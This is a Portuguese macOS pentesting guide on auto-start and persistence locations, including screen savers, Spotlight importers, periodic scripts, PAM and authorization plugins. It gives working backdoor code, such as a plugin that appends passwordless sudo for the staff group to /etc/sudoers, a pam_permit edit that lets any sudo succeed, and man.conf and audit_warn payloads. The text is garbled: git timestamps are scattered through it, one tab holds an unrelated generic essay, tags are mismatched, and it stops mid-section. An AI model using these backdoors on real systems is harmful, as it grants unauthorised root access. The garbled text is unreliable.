* **Gatilho**: Selecionar o protetor de tela
* `~/Library/Screen Savers`
* **Gatilho**: Selecionar o protetor de tela
2024-03-17 16:28:29 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" width = "375" > < figcaption > < / figcaption > < / figure >
2023-09-28 19:21:57 +00:00
2024-02-08 22:20:49 +00:00
#### Descrição e Exploração
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Crie um novo projeto no Xcode e selecione o modelo para gerar um novo **Protetor de Tela** . Em seguida, adicione seu código a ele, por exemplo, o seguinte código para gerar logs.
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
**Compile** e copie o pacote `.saver` para ** `~/Library/Screen Savers` **. Em seguida, abra a GUI do Protetor de Tela e se você clicar nele, deverá gerar muitos logs:
2023-09-28 19:21:57 +00:00
{% code overflow="wrap" %}
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char ** )
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```
{% endcode %}
{% hint style="danger" %}
2024-03-17 16:28:29 +00:00
Note que, devido aos direitos dentro do binário que carrega este código (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), você estará **dentro do sandbox de aplicativos comuns** .
2023-09-28 19:21:57 +00:00
{% endhint %}
2024-02-07 05:33:07 +00:00
Código do protetor de tela:
2023-09-28 19:21:57 +00:00
```objectivec
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
}
2023-06-01 21:09:46 +00:00
2023-09-28 19:21:57 +00:00
@end
```
2023-10-01 18:12:00 +00:00
### Plugins do Spotlight
2023-12-30 01:05:06 +00:00
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/ ](https://theevilbit.github.io/beyond/beyond\_0011/ )
2023-10-01 18:12:00 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
* Mas você acabará em uma sandbox de aplicativo
2024-03-17 16:28:29 +00:00
* Bypass do TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2024-01-10 07:09:16 +00:00
* A sandbox parece muito limitada
2023-10-01 18:12:00 +00:00
#### Localização
* `~/Library/Spotlight/`
* **Gatilho**: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado.
* `/Library/Spotlight/`
* **Gatilho**: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado.
2024-02-07 05:33:07 +00:00
* Root necessário
2023-10-01 18:12:00 +00:00
* `/System/Library/Spotlight/`
* **Gatilho**: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado.
2024-02-07 05:33:07 +00:00
* Root necessário
2023-10-01 18:12:00 +00:00
* `Some.app/Contents/Library/Spotlight/`
* **Gatilho**: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado.
2024-02-07 05:33:07 +00:00
* Novo aplicativo necessário
2023-10-01 18:12:00 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-10-01 18:12:00 +00:00
2024-02-07 05:33:07 +00:00
O Spotlight é o recurso de pesquisa integrado do macOS, projetado para fornecer aos usuários **acesso rápido e abrangente aos dados em seus computadores** .\
Para facilitar essa capacidade de pesquisa rápida, o Spotlight mantém um **banco de dados proprietário** e cria um índice **analisando a maioria dos arquivos** , permitindo buscas rápidas tanto por nomes de arquivos quanto por seu conteúdo.
2023-10-01 18:12:00 +00:00
2024-03-17 16:28:29 +00:00
O mecanismo subjacente do Spotlight envolve um processo central chamado 'mds', que significa ** 'servidor de metadados'**. Esse processo orquestra todo o serviço do Spotlight. Complementando isso, existem vários daemons 'mdworker' que realizam uma variedade de tarefas de manutenção, como indexar diferentes tipos de arquivos (`ps -ef | grep mdworker`). Essas tarefas são possíveis por meio de plugins do Spotlight, ou ** ".mdimporter bundles**", que permitem ao Spotlight entender e indexar conteúdo em uma ampla gama de formatos de arquivo.
2023-10-01 18:12:00 +00:00
2024-03-17 16:28:29 +00:00
Os plugins ou **bundles `.mdimporter`** estão localizados nos locais mencionados anteriormente e se um novo bundle aparecer, ele é carregado em questão de minutos (sem a necessidade de reiniciar qualquer serviço). Esses bundles precisam indicar quais **tipos de arquivo e extensões eles podem gerenciar** , dessa forma, o Spotlight os usará quando um novo arquivo com a extensão indicada for criado.
2023-10-01 18:12:00 +00:00
É possível **encontrar todos os `mdimporters`** carregados executando:
```bash
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
```
2024-03-17 16:28:29 +00:00
E por exemplo ** /Library/Spotlight/iBooksAuthor.mdimporter** é usado para analisar esses tipos de arquivos (extensões `.iba` e `.book` entre outros):
2023-10-01 18:12:00 +00:00
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
```
{% hint style="danger" %}
2024-02-07 05:33:07 +00:00
Se você verificar o Plist de outros `mdimporter` , você pode não encontrar a entrada ** `UTTypeConformsTo` **. Isso ocorre porque é um _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) integrado e não precisa especificar extensões.
2023-10-01 18:12:00 +00:00
2024-02-23 16:42:31 +00:00
Além disso, os plugins padrão do sistema sempre têm precedência, então um atacante só pode acessar arquivos que não são indexados de outra forma pelos próprios `mdimporters` da Apple.
2023-10-01 18:12:00 +00:00
{% endhint %}
2024-03-17 16:28:29 +00:00
Para criar seu próprio importador, você pode começar com este projeto: [https://github.com/megrimm/pd-spotlight-importer ](https://github.com/megrimm/pd-spotlight-importer ) e depois alterar o nome, o ** `CFBundleDocumentTypes` ** e adicionar ** `UTImportedTypeDeclarations` ** para que ele suporte a extensão que você deseja e refleti-las em ** `schema.xml` **.\
2024-02-07 05:33:07 +00:00
Em seguida, **altere** o código da função ** `GetMetadataForFile` ** para executar sua carga útil quando um arquivo com a extensão processada for criado.
2023-10-01 18:12:00 +00:00
2024-03-17 16:28:29 +00:00
Finalmente, **construa e copie seu novo `.mdimporter`** para um dos locais anteriores e você pode verificar sempre que ele for carregado **monitorando os logs** ou verificando ** `mdimport -L.` **
2023-10-01 18:12:00 +00:00
### ~~Painel de Preferências~~
2023-09-26 23:59:33 +00:00
2023-09-28 20:14:50 +00:00
{% hint style="danger" %}
2024-02-23 16:42:31 +00:00
Parece que isso não está mais funcionando.
2023-09-28 19:21:57 +00:00
{% endhint %}
2024-02-07 05:33:07 +00:00
Descrição: [https://theevilbit.github.io/beyond/beyond\_0009/ ](https://theevilbit.github.io/beyond/beyond\_0009/ )
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
* Útil para burlar a sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-07 05:33:07 +00:00
* Requer uma ação específica do usuário
2024-02-13 00:50:30 +00:00
* Bypass do TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:14:50 +00:00
#### Localização
* **`/System/Library/PreferencePanes`**
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
2024-02-23 16:42:31 +00:00
#### Descrição
Parece que isso não está mais funcionando.
2023-09-28 20:14:50 +00:00
2024-02-13 00:50:30 +00:00
## Bypass de Sandbox Root
2023-09-28 20:14:50 +00:00
{% hint style="success" %}
2024-02-13 00:50:30 +00:00
Aqui você pode encontrar locais de inicialização úteis para **burlar a sandbox** que permitem simplesmente executar algo **escrevendo em um arquivo** sendo **root** e/ou exigindo outras **condições estranhas.**
2023-09-28 19:21:57 +00:00
{% endhint %}
2023-09-28 20:14:50 +00:00
### Periódico
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Descrição: [https://theevilbit.github.io/beyond/beyond\_0019/ ](https://theevilbit.github.io/beyond/beyond\_0019/ )
2023-09-28 20:14:50 +00:00
2024-03-17 16:28:29 +00:00
* Útil para burlar a sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2023-09-28 20:14:50 +00:00
* Mas você precisa ser root
2024-02-13 00:50:30 +00:00
* Bypass do TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-06-01 21:09:46 +00:00
2023-09-28 19:21:57 +00:00
#### Localização
2023-06-01 21:09:46 +00:00
2023-09-28 20:14:50 +00:00
* `/etc/periodic/daily` , `/etc/periodic/weekly` , `/etc/periodic/monthly` , `/usr/local/etc/periodic`
2023-12-26 02:05:14 +00:00
* Root necessário
2023-09-28 20:14:50 +00:00
* **Gatilho**: Quando chegar a hora
* `/etc/daily.local` , `/etc/weekly.local` ou `/etc/monthly.local`
2023-12-26 02:05:14 +00:00
* Root necessário
2023-09-28 20:14:50 +00:00
* **Gatilho**: Quando chegar a hora
2023-09-26 23:59:33 +00:00
2024-02-08 22:20:49 +00:00
#### Descrição e Exploração
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
Os scripts periódicos (**`/etc/periodic`**) são executados por causa dos **launch daemons** configurados em `/System/Library/LaunchDaemons/com.apple.periodic*` . Note que os scripts armazenados em `/etc/periodic/` são **executados** como o **proprietário do arquivo** , então isso não funcionará para uma possível escalada de privilégios.
2023-09-28 19:21:57 +00:00
{% code overflow="wrap" %}
```bash
2023-09-28 20:14:50 +00:00
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
2023-09-28 19:21:57 +00:00
```
2024-02-07 05:33:07 +00:00
{% endcode %}
2023-12-31 00:07:27 +00:00
Existem outros scripts periódicos que serão executados indicados em ** `/etc/defaults/periodic.conf` **:
2023-09-28 19:21:57 +00:00
```bash
2023-09-28 20:14:50 +00:00
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
2023-09-28 19:21:57 +00:00
```
2024-02-07 05:33:07 +00:00
Se você conseguir escrever qualquer um dos arquivos `/etc/daily.local` , `/etc/weekly.local` ou `/etc/monthly.local` , ele será **executado mais cedo ou mais tarde** .
2023-09-28 19:21:57 +00:00
2023-11-02 18:01:38 +00:00
{% hint style="warning" %}
2024-03-17 16:28:29 +00:00
Observe que o script periódico será **executado como o proprietário do script** . Portanto, se um usuário comum for o proprietário do script, ele será executado como esse usuário (isso pode prevenir ataques de escalonamento de privilégios).
2023-11-02 18:01:38 +00:00
{% endhint %}
2023-09-28 20:14:50 +00:00
### PAM
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
Writeup: [Linux Hacktricks PAM ](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md )\
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/ ](https://theevilbit.github.io/beyond/beyond\_0005/ )
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2023-09-28 20:14:50 +00:00
* Mas você precisa ser root
2024-02-07 05:33:07 +00:00
* Bypass do TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 19:21:57 +00:00
#### Localização
2024-02-07 05:33:07 +00:00
* Sempre requer privilégios de root
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
Como o PAM está mais focado em **persistência** e malware do que em execução fácil dentro do macOS, este blog não fornecerá uma explicação detalhada, **leia os writeups para entender melhor essa técnica** .
2023-11-02 18:01:38 +00:00
2024-02-07 05:33:07 +00:00
Verifique os módulos do PAM com:
2023-11-02 18:01:38 +00:00
```bash
ls -l /etc/pam.d
```
2024-02-23 16:42:31 +00:00
Uma técnica de persistência/escalada de privilégios abusando do PAM é tão simples quanto modificar o módulo /etc/pam.d/sudo adicionando no início a linha:
2023-11-02 18:01:38 +00:00
```bash
auth sufficient pam_permit.so
```
2024-02-07 05:33:07 +00:00
Então vai **parecer** algo assim:
2023-11-02 18:01:38 +00:00
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
2024-02-07 05:33:07 +00:00
E, portanto, qualquer tentativa de usar ** `sudo` funcionará**.
2023-11-02 18:01:38 +00:00
{% hint style="danger" %}
2024-02-07 05:33:07 +00:00
Note que este diretório é protegido pelo TCC, então é altamente provável que o usuário receba um prompt solicitando acesso.
2023-11-02 18:01:38 +00:00
{% endhint %}
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
### Plugins de Autorização
2023-09-28 19:21:57 +00:00
2024-02-23 16:42:31 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )\
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 ](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 )
2023-09-28 20:14:50 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2023-09-28 20:14:50 +00:00
* Mas você precisa ser root e fazer configurações extras
2023-12-30 01:05:06 +00:00
* Bypass do TCC: ???
2023-09-28 19:21:57 +00:00
#### Localização
2023-09-28 20:14:50 +00:00
* `/Library/Security/SecurityAgentPlugins/`
2024-02-07 05:33:07 +00:00
* Root necessário
2023-09-28 20:14:50 +00:00
* Também é necessário configurar o banco de dados de autorização para usar o plugin
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-09-28 19:21:57 +00:00
2024-02-23 16:42:31 +00:00
Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para obter mais informações sobre como criar um desses plugins, consulte os writeups anteriores (e tenha cuidado, um mal escrito pode bloqueá-lo e você precisará limpar seu Mac no modo de recuperação).
2023-11-03 11:59:19 +00:00
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
```
2023-12-31 00:07:27 +00:00
**Mova** o pacote para o local a ser carregado:
2023-11-03 11:59:19 +00:00
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
2023-12-26 02:05:14 +00:00
Finalmente adicione a **regra** para carregar este Plugin:
2023-11-03 11:59:19 +00:00
```bash
cat > /tmp/rule.plist < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
< key > class< / key >
< string > evaluate-mechanisms< / string >
< key > mechanisms< / key >
< array >
< string > CustomAuth:login,privileged< / string >
< / array >
< / dict >
< / plist >
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
2023-12-16 14:29:43 +00:00
O ** `evaluate-mechanisms` ** informará ao framework de autorização que será necessário **chamar um mecanismo externo para autorização** . Além disso, ** `privileged` ** fará com que seja executado pelo root.
2024-02-23 16:42:31 +00:00
Acione-o com:
2023-11-03 11:59:19 +00:00
```bash
security authorize com.asdf.asdf
```
2024-03-17 16:28:29 +00:00
E então o grupo **staff deve ter acesso sudo** (leia `/etc/sudoers` para confirmar).
2023-09-28 19:21:57 +00:00
### Man.conf
2024-02-13 00:50:30 +00:00
Descrição: [https://theevilbit.github.io/beyond/beyond\_0030/ ](https://theevilbit.github.io/beyond/beyond\_0030/ )
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-03-17 16:28:29 +00:00
* Mas você precisa ser root e o usuário deve usar man
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:14:50 +00:00
2023-09-28 19:21:57 +00:00
#### Localização
* **`/private/etc/man.conf`**
2024-02-07 05:33:07 +00:00
* Requer privilégios de root
2024-03-17 16:28:29 +00:00
* **`/private/etc/man.conf`**: Sempre que o comando man é usado
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
#### Descrição & Exploração
2023-09-28 19:21:57 +00:00
2024-02-13 00:50:30 +00:00
O arquivo de configuração ** `/private/etc/man.conf` ** indica o binário/script a ser usado ao abrir arquivos de documentação do man. Portanto, o caminho para o executável pode ser modificado para que toda vez que o usuário usar o man para ler alguns documentos, um backdoor seja executado.
2023-09-28 19:21:57 +00:00
2024-02-13 00:50:30 +00:00
Por exemplo, definido em ** `/private/etc/man.conf` **:
2023-09-28 19:21:57 +00:00
```
MANPAGER /tmp/view
```
2023-12-26 02:05:14 +00:00
E então crie `/tmp/view` como:
2023-09-28 19:21:57 +00:00
```bash
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
```
2023-09-28 20:14:50 +00:00
### Apache2
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
**Descrição**: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-26 23:59:33 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
* Mas você precisa estar como root e o apache precisa estar em execução
* Bypass do TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2024-03-17 16:28:29 +00:00
* Httpd não possui permissões
2023-09-26 23:59:33 +00:00
2023-09-28 20:14:50 +00:00
#### Localização
2023-09-26 23:59:33 +00:00
2023-09-28 20:14:50 +00:00
* **`/etc/apache2/httpd.conf`**
2024-02-07 05:33:07 +00:00
* Requer privilégios de root
2023-09-28 20:14:50 +00:00
* Gatilho: Quando o Apache2 é iniciado
2024-02-13 00:50:30 +00:00
#### Descrição e Exploração
2023-09-28 20:14:50 +00:00
2024-03-17 16:28:29 +00:00
Você pode indicar no `/etc/apache2/httpd.conf` para carregar um módulo adicionando uma linha como:
2023-09-26 23:59:33 +00:00
```bash
2023-09-28 20:14:50 +00:00
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
2023-09-26 23:59:33 +00:00
```
2023-09-28 20:14:50 +00:00
{% endcode %}
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Desta forma, seus módulos compilados serão carregados pelo Apache. A única coisa é que você precisa **assiná-los com um certificado Apple válido** , ou você precisa **adicionar um novo certificado confiável** no sistema e **assiná-los** com ele.
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
Em seguida, se necessário, para garantir que o servidor seja iniciado, você pode executar:
2023-09-28 19:21:57 +00:00
```bash
2023-09-28 20:14:50 +00:00
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
Exemplo de código para o Dylb:
```objectivec
#include <stdio.h>
#include <syslog.h>
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
2023-09-28 19:21:57 +00:00
```
2023-09-28 20:14:50 +00:00
### Estrutura de auditoria BSM
2024-02-07 05:33:07 +00:00
Descrição: [https://theevilbit.github.io/beyond/beyond\_0031/ ](https://theevilbit.github.io/beyond/beyond\_0031/ )
2023-09-28 20:14:50 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-03-17 16:28:29 +00:00
* Mas você precisa estar como root, auditd em execução e causar um aviso
* Contorno TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:14:50 +00:00
#### Localização
2023-09-26 23:59:33 +00:00
2023-09-28 20:14:50 +00:00
* **`/etc/security/audit_warn`**
2024-02-07 05:33:07 +00:00
* Requer privilégios de root
2024-03-17 16:28:29 +00:00
* **Gatilho**: Quando auditd detecta um aviso
2023-06-01 21:09:46 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-06-01 21:09:46 +00:00
2024-02-07 05:33:07 +00:00
Sempre que o auditd detecta um aviso, o script ** `/etc/security/audit_warn` ** é **executado** . Portanto, você poderia adicionar sua carga útil nele.
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:14:50 +00:00
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
2023-06-01 21:09:46 +00:00
```
2023-09-28 20:14:50 +00:00
### Itens de Inicialização
2023-06-01 21:09:46 +00:00
2023-09-26 23:59:33 +00:00
{% hint style="danger" %}
2024-02-07 05:33:07 +00:00
**Isso está obsoleto, portanto, nada deve ser encontrado nesses diretórios.**
2023-09-26 23:59:33 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-02-07 05:33:07 +00:00
O **StartupItem** é um diretório que deve estar localizado em `/Library/StartupItems/` ou `/System/Library/StartupItems/` . Uma vez que este diretório é estabelecido, ele deve conter dois arquivos específicos:
1. Um **script rc** : Um script shell executado na inicialização.
2. Um arquivo **plist** , especificamente nomeado `StartupParameters.plist` , que contém várias configurações.
Certifique-se de que tanto o script rc quanto o arquivo `StartupParameters.plist` estejam corretamente colocados dentro do diretório **StartupItem** para que o processo de inicialização os reconheça e os utilize.
2023-06-01 21:09:46 +00:00
2023-09-26 23:59:33 +00:00
{% tabs %}
{% tab title="StartupParameters.plist" %}
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2023-09-26 23:59:33 +00:00
< key > Description< / key >
< string > This is a description of this service< / string >
< key > OrderPreference< / key >
< string > None< / string > <!-- Other req services to execute before this -->
< key > Provides< / key >
< array >
< string > superservicename< / string > <!-- Name of the services provided by this file -->
< / array >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2023-12-17 01:08:02 +00:00
{% endtab %}
2023-12-26 02:05:14 +00:00
2024-03-17 16:28:29 +00:00
{% tab title="superservicename" %}
### Locais de Inicialização Automática do macOS
#### Introdução
Neste capítulo, vamos explorar os diferentes locais onde os aplicativos podem ser configurados para iniciar automaticamente no macOS. É importante estar ciente desses locais para garantir que apenas os aplicativos desejados sejam iniciados automaticamente, evitando assim possíveis ameaças à segurança.
#### Locais de Inicialização Automática
1. **Login Items** : Localizado nas Preferências do Sistema, os Login Items são aplicativos que iniciam automaticamente quando um usuário faz login em sua conta.
2. **Launch Agents e Launch Daemons** : Esses são arquivos de propriedade do sistema que controlam a inicialização de aplicativos no nível do usuário (Launch Agents) e no nível do sistema (Launch Daemons).
3. **Launch Daemons de Terceiros** : Além dos Launch Daemons padrão do sistema, os aplicativos de terceiros também podem instalar seus próprios Launch Daemons para iniciar automaticamente.
4. **Launchctl** : O comando `launchctl` é usado para carregar, descarregar e gerenciar serviços de inicialização no macOS. É importante revisar e monitorar os serviços registrados com o `launchctl` .
#### Conclusão
Ao compreender os diferentes locais de inicialização automática no macOS e monitorá-los regularmente, é possível garantir que apenas os aplicativos desejados sejam iniciados automaticamente, melhorando assim a segurança do sistema.
{% endtab %}
2023-09-28 20:14:50 +00:00
```bash
#!/bin/sh
. /etc/rc.common
StartService(){
touch /tmp/superservicestarted
}
StopService(){
rm /tmp/superservicestarted
}
RestartService(){
echo "Restarting"
}
RunService "$1"
```
2024-02-08 22:20:49 +00:00
{% endtab %}
{% endtabs %}
2023-12-26 02:05:14 +00:00
### ~~emond~~
2023-09-26 23:59:33 +00:00
2023-09-28 20:14:50 +00:00
{% hint style="danger" %}
2024-02-07 05:33:07 +00:00
Não consigo encontrar este componente no meu macOS, para mais informações consulte o artigo
2023-09-28 20:14:50 +00:00
{% endhint %}
2023-09-26 23:59:33 +00:00
2024-02-07 05:33:07 +00:00
Artigo: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-06-01 21:09:46 +00:00
2024-02-23 16:42:31 +00:00
Introduzido pela Apple, **emond** é um mecanismo de registro que parece estar subdesenvolvido ou possivelmente abandonado, mas ainda permanece acessível. Embora não seja particularmente benéfico para um administrador de Mac, este serviço obscuro poderia servir como um método sutil de persistência para atores de ameaças, provavelmente passando despercebido pela maioria dos administradores do macOS.
2023-06-06 18:56:34 +00:00
2024-02-07 05:33:07 +00:00
Para aqueles cientes de sua existência, identificar qualquer uso malicioso do **emond** é direto. O LaunchDaemon do sistema para este serviço procura scripts para executar em um único diretório. Para inspecionar isso, o seguinte comando pode ser usado:
2023-09-28 20:14:50 +00:00
```bash
ls -l /private/var/db/emondClients
```
2024-02-23 16:42:31 +00:00
### ~~XQuartz~~
2023-06-06 18:56:34 +00:00
2024-02-23 16:42:31 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-06-06 18:56:34 +00:00
2023-09-28 20:14:50 +00:00
#### Localização
2023-06-06 18:56:34 +00:00
2023-09-28 20:14:50 +00:00
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
2024-02-13 00:50:30 +00:00
* Requer privilégios de root
2023-09-28 20:14:50 +00:00
* **Gatilho**: Com XQuartz
2023-06-06 18:56:34 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-06-06 18:56:34 +00:00
2024-02-23 16:42:31 +00:00
XQuartz **não está mais instalado no macOS** , então se você deseja mais informações, consulte o writeup.
2023-06-06 18:56:34 +00:00
2024-02-23 16:42:31 +00:00
### ~~kext~~
2023-06-06 18:56:34 +00:00
2023-09-28 20:14:50 +00:00
{% hint style="danger" %}
2024-02-23 16:42:31 +00:00
